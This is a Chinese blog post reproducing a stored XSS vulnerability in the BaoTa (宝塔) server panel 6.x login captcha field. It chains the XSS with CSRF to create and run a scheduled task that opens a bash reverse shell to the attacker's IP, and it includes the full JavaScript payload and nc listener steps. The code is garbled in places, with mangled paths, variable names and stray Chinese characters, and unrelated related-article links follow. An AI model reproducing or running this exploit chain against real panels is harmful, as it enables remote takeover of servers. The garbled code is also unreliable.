对于宝塔漏洞复现和练习

0×00  什么是宝塔面板

宝塔面板是一款使用方便,功能强大且终身免费的服务器管理软件,支持Linux 与Windows 系统。一键配置:LAMP / LNMP ,网站,数据库,FTP ,SSL,通过Web 端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。

0×01  漏洞成因

在6.x Linux 版本宝塔面板当中当中,相对与5.x 版本,记录了验证码错误并存入数据库当中,存储XSS缺陷就是在此处产生。 同时利用CSRF结合宝塔的计划任务反弹shell。

0×02   漏洞复现

首先访问后台,宝塔一般部署在8888 端口,

我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。

然后我们在登陆,在验证码处输入XSS 利用代码测试

<script>alert('xss')</ script> 

通过账号密码登陆宝塔后台,点开安全模块。我们可以看到触发了弹窗

由于宝塔面板的计划任务功能可以执行shell 脚本,所以我们可以基于这个xss 结合csrf 在计划任务功能处执行反弹shell 。

我们利用xss 平台(http://xsspt.com )新建一个项目执行自定义的js 脚本,修改里面的你的ip 和端口,代码如下

 function addTask(TaskName,execTime,ip,port){

    var execShell ='bash -i>&/ dev / tcp / your_ip / your_port 0>&1';

    execShell = encodeURIComponent(execShell);

    var params ='name ='+ TaskName +'&type = minute-n&where1 ='+ execTime +'&hour =&minute =&week =&sType = toShell&sBody ='+ execShell +'&sName =&backupTo = localhost&save =&urladdress = undefined'

    var xhr = new XMLHttpRequest();

    xhr.open('POST','/ crontab?action = AddCrontab',false);

    xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

    xhr.send(PARAMS);

}

function execTask(TaskName){

    var xhr = new XMLHttpRequest();

    xhr.open('POST','/ crontab?action = GetCrontab',true);

    xhr.send();

    xhr.onload = function(){

        if(this.readyState == 4 && this.status == 200){

            var res = JSON.parse(this.responseText);

            if(res [0] .name == TaskName){

                var TaskID = res [0] .id.toString();

                var xhr = new XMLHttpRequest();

                xhr.open('POST','/ crontab?action = StartTask',false);

                xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

                var params ='id ='+ TaskID;

                xhr.send(PARAMS);

                delTask(RES [0] .ID);

                的console.log(RES [0] .ID);

                return res [0] .id;

            }

        }

    }

}

function delTask(TaskID){

    var params ='id ='+ TaskID.toString();

    var xhr = new XMLHttpRequest();

    xhr.open('POST','/ crontab?action = DelCrontab',false);

    xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

    xhr.send(PARAMS);

}

var TaskName = Math.random()。toString(36).substring(7);

addTask(TASKNAME, '5', '1.1.1.1', '53');

execTask(TASKNAME);

在本地通过nc 监听反弹的端口,nc.exe -l -vv -p 反弹端口

在然后后台通过登陆面板的验证码处插入我们配置好的跨站网站脚本代码

在登陆宝塔后台面板,点开安全模块。我们可以看到壳成功反弹

宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell的更多相关文章

  1. 宝塔漏洞 XSS窃取宝塔面板管理员漏洞 高危

    宝塔是近几年刚崛起的一款服务器面板,深受各大站长的喜欢,windows2003 windows2008windosws 2012系统,linux centos deepin debian fedora ...

  2. 宝塔面板,Typecho,Lsky Pro图床安装

    宝塔面板,Typecho,Lsky Pro图床安装 本文安装包:链接:https://cloud.cangye.me/s/l3i4avjl 密码是宝塔面板4个汉字拼音首字母小写(防止被爬) 一,宝塔面 ...

  3. 宝塔面板设置腾迅COS自动备份网站

    之前写了如何配置腾迅云COS并挂载到服务器中,今天看到宝塔面板中有腾迅云COS的插件,不过研究了下,只是将COS绑定在宝塔面板中,不能自动备份,需要用到宝塔的计划任务功能 1.下载腾迅云COS插件 2 ...

  4. 宝塔面板下安装zabbix

    宝塔面板之前已经安装完成,如果不会可以查看上一个日志.接下来开始安装zabbix 1.添加系统用户和组 2. yum -y install epel-release #安装源 3.使用命令 yum - ...

  5. Vultr VPS建站攻略 – 一键安装宝塔面板架设LNMP/LAMP Web环境

    我们选择VULTR VPS建站的还是比较多的,其主要原因在于商家的稳定,毕竟我们用来建站选择服务器价格考虑的不是主要的(当然VULTR价格也是比较便宜),最为主要的是因为VULTR商家比较稳定,而且多 ...

  6. 腾讯云服务器安装宝塔面板快速配置LNMP/LAMP网站系统

    我们在选择购买腾讯云服务器之后,有部分用户肯定是用来建站用途的.毕竟云服务器的性能和功能比虚拟主机优秀很多.腾讯云服务器拥有香港.北京.广州.上海.美国等多个机房,可以安装Linux和Windows系 ...

  7. 宝塔面板 + Rancher + 阿里云镜像仓库 + Docker + Kubernetes,添加集群、部署 web 应用

    目录 一,安装宝塔面板(V 6.8) 二,使用宝塔安装 Docker,配置阿里云容器服务 三,安装 Rancher (Server) 四,管理 Rancher.添加集群 五,添加 Rancher 应用 ...

  8. 关于宝塔面板windows版6.2的一些使用心得

    关于宝塔面板windows版6.2的一些使用心得 第一次使用windows版本的 给客户搭建  asp+mssql的需求 心得1   安装   server2012 基于python开发的,所以安装的 ...

  9. Ubuntu宝塔面板设置网站 Apache Server API为Apache 2.0 Handler模式

    用过宝塔面板(https://www.bt.cn)的谁用谁知道:  以下来自官网的介绍: “宝塔Linux面板是提升运维效率的服务器管理软件,支持一键LAMP/LNMP/集群/监控/网站/FTP/数据 ...

随机推荐

  1. centos7上部署dubbo管理控制台dubbo-admin

    centos7上部署dubbo管理控制台dubbo-admin 1 准备工作 服务器:系统centos7, 内存4G, 存储60G, ip 192.168.159.128 软件环境: 安装有jdk1. ...

  2. 超级密码(BFS)

    Problem Description Ignatius花了一个星期的时间终于找到了传说中的宝藏,宝藏被放在一个房间里,房间的门用密码锁起来了,在门旁边的墙上有一些关于密码的提示信息: 密码是一个C进 ...

  3. Uva 232 一个换行WA 了四次

    由于UVA OJ上没有Wrong anwser,搞的多花了好长时间去测试程序,之前一直以为改OJ有WA,后来网上一搜才知道没有WA,哎哎浪费了好长时间.此博客用来记录自己的粗心大意. 链接地址:htt ...

  4. Jenkins把GitHub项目做成Docker镜像

    本文是<Jenkins流水线(pipeline)实战>系列的第三篇,前面已对Jenkins流水线有了基本认识,也试过从GitHub下载pipeline脚本并执行,今天的实战是编写一段pip ...

  5. 转:怎么用Sql语句获取一个数据库中的所有表的名字

    用sql获取数据库中所有的表名的方法:1.oracle下:select table_name from all_tables;2.MySQL下:select table_name from infor ...

  6. Java 世界的盘古和女娲 —— Zygote

    本文基于 Android 9.0 , 代码仓库地址 : android_9.0.0_r45 文中源码链接: Zygote.java ZygoteInit.java ZygoteServer.java ...

  7. js运动基础2(运动的封装)

    简单运动的封装 先从最简单的封装开始,慢慢的使其更丰富,更实用. 还是上一篇博文的代码,在此不作细说. 需求:点击按钮,让元素匀速运动. <!DOCTYPE html> <html ...

  8. springboot系列之02-需要了解的宏观知识点

    未经允许,不得转载 原作者:字母哥博客 本文完整系列出自:springboot深入浅出系列 一.Spring Boot . Spring MVC .Spring对比 首先你需要明白一件事情:Sprin ...

  9. .NET进阶篇-丑话先说,Flag先立--致青春

    作为开发者,工作了半年,也总觉得技术栈和刚毕业区别不大,用的技术还都是N年前的,每每看到新东西,也只心里哇塞惊叹一下,然后就回归于忙碌.怪自己的技术池太浅,热门的令人称奇的技术也都是在其他巨人的肩膀上 ...

  10. python 虚拟环境配置

    刚学习 python 的同学经常会遇到一个问题: 已经安装了特定的包或者第三库,但是 pycharm 总是提示没有找到.